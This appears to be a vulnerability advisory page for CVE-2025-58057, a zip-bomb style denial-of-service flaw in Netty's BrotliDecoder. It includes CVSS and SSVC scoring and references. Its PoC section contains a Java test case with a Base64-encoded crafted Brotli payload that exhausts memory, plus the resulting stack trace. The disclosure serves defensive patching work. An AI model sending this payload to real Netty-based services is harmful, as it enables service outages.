Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-3p8m-j85q-pgmj
Advisory ID github_osv/GHSA-3p8m-j85q-pgmj
Aliases CVE-2025-58057
Summary Netty's decoders vulnerable to DoS via zip bomb style attack ### Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. ### Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. ### PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } } ``` Error: ``` Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11) ``` ### Impact DoS for anyone using `BrotliDecoder` on untrusted input.
Status Published
Exploitability 0.5
Weighted Severity 6.2
Risk 3.1
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)
System Score Found at
cvssv4 6.9 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-3p8m-j85q-pgmj/GHSA-3p8m-j85q-pgmj.json
generic_textual MODERATE
Reference id Reference type URL
https://github.com/netty/netty
https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d
CVE-2025-58057 https://nvd.nist.gov/vuln/detail/CVE-2025-58057
GHSA-3p8m-j85q-pgmj https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-3p8m-j85q-pgmj/GHSA-3p8m-j85q-pgmj.json
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

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Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-04T19:59:14Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/58xxx/CVE-2025-58057.json

Source Advisory: vulnrichment/CVE-2025-58057

View SSVC decision tree 
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'partial'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]